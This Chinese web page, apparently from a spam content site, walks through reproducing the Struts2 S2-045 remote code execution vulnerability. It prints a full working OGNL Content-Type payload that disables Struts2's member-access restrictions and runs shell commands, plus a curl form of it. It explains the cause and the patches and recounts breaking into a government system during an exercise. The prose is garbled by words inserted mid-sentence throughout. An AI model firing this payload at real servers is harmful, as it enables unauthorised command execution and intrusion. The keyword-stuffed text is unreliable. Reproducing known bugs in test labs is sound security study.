会员登录 - 用户注册 - 设为首页 - 加入收藏 - 网站地图 struts2漏洞复现!
当前位置:首页 > 娱乐 > struts2漏洞复现 正文

struts2漏洞复现

时间:2026-10-17 06:34:58 来源:烟消火灭网 作者:娱乐 阅读:432次

Struts2 的漏洞漏洞复现,绕不开 S2-045。复现2017 年 3 月那个凌晨,漏洞我在测试环境里敲下一行 PoC,复现服务器直接弹回 whoami 的漏洞结果——root。那一刻确实有点头皮发麻,复现不是漏洞因为技术多复杂,而是复现这个洞利用起来太顺手了。

问题的漏洞根子在 Jakarta Multipart 解析器。Struts2 处理文件上传时,复现如果 Content-Type 头里带了异常内容,漏洞它会把这个异常信息拼进错误提示里,复现然后用 OGNL 表达式去解析。漏洞OGNL 是复现 Struts2 的核心表达式引擎,能调用 Java 对象的漏洞方法。攻击者只要在 Content-Type 里塞一段 OGNL 表达式,服务器就会执行它。听起来像个设计缺陷,实际上就是。

复现环境我用的是 Struts 2.3.31,Tomcat 8.5,JDK 1.8。这个版本号很关键,2.3.31 之前的 2.3.x 系列几乎全军覆没。搭好一个最简单的上传 action,web.xml 里配好 StrutsPrepareAndExecuteFilter,访问一下确认页面能打开,就可以开始搞了。

PoC 长这样:

POST /upload.action HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: %{ (#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{ 'cmd.exe','/c',#cmd}:{ '/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Content-Length: 0 

这段东西看着吓人,拆开其实就几块。先通过 OGNL 拿到 OgnlContext 的 DEFAULT_MEMBER_ACCESS,把 Struts2 默认的安全限制清掉——它本来禁止访问某些危险类。清完之后构造 ProcessBuilder 执行系统命令,再把命令输出写到 HTTP 响应里。Content-Length 设成 0 也行,因为漏洞触发点在 Content-Type 解析阶段,请求体根本不重要。

我第一次打的时候没回显,排查了半天发现是 commons-io 的版本问题。PoC 里用了 IOUtils.copy,如果目标环境没有这个依赖或者版本不对,回显就出不来。换成 Scanner 逐行读也行,但代码会更长。后来干脆用 curl 直接发,比 Burp 手动改包快得多:

curl -X POST http://192.168.1.100:8080/upload.action \ -H "Content-Type: %{ (#nike='multipart/form-data')...(省略)}" \ -d "" 

修复方式也简单。官方在 2.3.32 和 2.5.10.1 里改了这个逻辑,不再把异常信息拼进 OGNL 解析流程。另外可以在 struts.xml 里配 struts.disallowUnknownParameters=true,或者上 WAF 拦 Content-Type 里的 %{ 特征。但这些都是缓解,根本还是升级。我见过不少甲方,内网系统跑着 2.3.15 好几年没人管,问就是“业务不能停”。真被打了,停的就不是业务了。

说个真实案例。某次攻防演练,目标是一个地级市的政务系统。外围打了一圈没进展,后来扫到一台老 Tomcat,路径里带 /struts/。直接上 S2-045,命令执行成功,翻了一下 /etc/hosts,发现能通内网数据库。后面的事就不细说了。那台机器上跑的还是 2.3.24,补丁出了快两年,没人打。

复现这个漏洞的意义不在于炫技。它太典型了——一个框架为了“友好错误提示”把用户输入丢进表达式引擎,一个表达式引擎为了灵活性允许任意方法调用,两个设计凑在一起就是 RCE。写代码的人可能觉得“异常信息里能有什么坏心思”,但攻击者不这么想。我后来养成一个习惯,看到任何框架把用户输入拼进模板、表达式、SQL 之前,先停下来想想最坏情况。S2-045 就是最坏情况的教科书。

(责任编辑:娱乐)

相关内容
  • nike中国官网打不开
  • 简单排版banner
  • js渗透绕过
  • boss直聘官网入口
  • 类别是什么意思
  • 漏洞骗钱
  • LoveToBeLovedByYou什么意思
  • 搬运文章
推荐内容
  • 百度云网站入口
  • 佛法搜索引擎网址
  • 宝塔删除安全入口
  • 越南精尽人亡行程表
  • 网络攻击整改报告
  • cppd王者同人图